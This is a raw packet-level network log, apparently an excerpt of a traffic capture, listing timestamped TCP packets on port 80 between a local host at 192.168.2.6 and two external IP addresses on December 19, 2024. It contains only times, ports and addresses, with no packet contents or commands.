Dec 19, 2024 08:09:38.835659027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.836548090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.836601973 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.836646080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.837632895 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.837745905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.837793112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.838221073 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.838323116 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.838365078 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.838665009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.838712931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.838753939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.840184927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.840250015 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.840346098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.840931892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.840944052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.840987921 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.841922045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.842055082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.842108011 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.842897892 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.843027115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.843080997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.843955040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.844131947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.844183922 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.845002890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.845153093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.845205069 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.846079111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.846267939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.846321106 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.846599102 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.846714020 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.846755028 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.847106934 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.847152948 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.847198009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.848161936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.848215103 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.848289013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.849239111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.849318981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.849370003 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.850275040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.850406885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.850456953 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.851321936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.851438999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.851495028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.852365971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.852385998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.852437019 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.853425026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.853602886 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.853661060 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.854479074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.854568005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.854594946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.854975939 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.855135918 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.855180979 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.855521917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.855564117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.855567932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.856606007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.856653929 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.856723070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.857635975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.857681990 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.857815981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.858680964 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.858727932 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.858855963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.859770060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.859858036 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.859930992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.860819101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.860946894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.861006975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.861864090 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.861912966 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.861962080 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.863020897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.863070965 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.863105059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.863323927 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.863435984 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.863497019 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.864116907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.864253044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.864300966 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.865016937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.865066051 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.865111113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.871845961 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.871944904 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.872010946 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.880064011 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.881412983 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.899964094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.900074959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.900144100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.900449991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.900496960 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.900543928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.901523113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.901585102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.901638031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.902565002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.902674913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.902745008 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.903608084 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.903703928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.903753996 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.904663086 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.904808998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.904872894 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.905766010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.905780077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.905827999 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.940284014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.940380096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.940432072 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.940577984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.940713882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.940768957 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.941663980 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.941739082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.941781044 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.942694902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.942734003 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.942806959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.943759918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.943800926 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.943964958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.944817066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.944909096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.944948912 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.945871115 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.945955038 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.946010113 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.946985960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.947036028 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.947046041 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.947977066 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.947994947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.948045015 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.949034929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.949143887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.949189901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.950110912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:38.950175047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:38.968209982 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.968221903 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.968281984 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.972328901 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.972382069 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.992706060 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.992825985 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.992846966 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.992897034 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.994995117 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.995054960 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.995877028 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.995925903 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:38.995965958 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:38.995997906 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.000611067 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.000705957 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.000780106 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.005378008 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.005419016 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.005481005 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.010057926 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.010159969 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.010222912 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.014744043 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.014791012 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.014839888 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.014873981 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.019494057 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.019568920 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.019625902 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.020195007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.020390034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.020750999 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.020801067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.020881891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.021806002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.021848917 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.021908998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.021953106 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.022839069 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.023118973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.023164988 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.023901939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.024046898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.024094105 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.024180889 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.024220943 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.024270058 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.024310112 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.024951935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.025103092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.025150061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.026001930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.026113033 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.026161909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.027055025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.027177095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.028107882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.028170109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.028212070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.028819084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.028892040 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.029032946 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.029073954 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.029174089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.029264927 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.030255079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.030304909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.030352116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.031323910 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.031389952 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.031424046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.031487942 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.032337904 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.032464981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.032507896 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.033412933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.033562899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.033608913 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.033659935 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.033673048 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.033699036 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.033729076 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.034594059 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.034701109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.034746885 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.035501957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.035625935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.035674095 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.036540985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.036650896 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.036818981 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.037602901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.037715912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.038321972 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.038366079 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.038372040 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.038427114 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.038460016 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.038724899 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.038800001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.039726019 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.039781094 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.039822102 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.040025949 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.040756941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.040900946 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.040946007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.041805029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.041919947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.042860031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.042910099 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.042953968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.043085098 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.043096066 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.043128014 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.043133020 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.043148994 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.043931007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.044012070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.044058084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.044997931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.045070887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.045123100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.046020985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.046139002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.047103882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.047158003 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.047197104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.047789097 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.047832966 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.047843933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.047863960 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.047894001 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.048139095 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.048238993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.048821926 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.049201965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.049307108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.049356937 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.050247908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.050461054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.050509930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.051337957 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.051417112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.052362919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.052419901 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.052511930 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.052580118 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.052589893 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.052628994 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.052649975 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.052649975 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.053426027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.053582907 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.053632975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.054457903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.054567099 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.054615974 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.055521965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.055639982 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.056586981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.056637049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.056680918 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.056822062 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:39.057216883 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.057280064 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.057327986 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.057606936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.062000036 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.062048912 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.062113047 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.066660881 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.066783905 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.066862106 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.071408033 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.071455956 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.071507931 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.076133966 CET	80	49882	185.215.113.16	192.168.2.6
Dec 19, 2024 08:09:39.076828003 CET	49882	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:09:39.092451096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.092700958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.092782021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:39.092788935 CET	49862	80	192.168.2.6	194.87.47.113
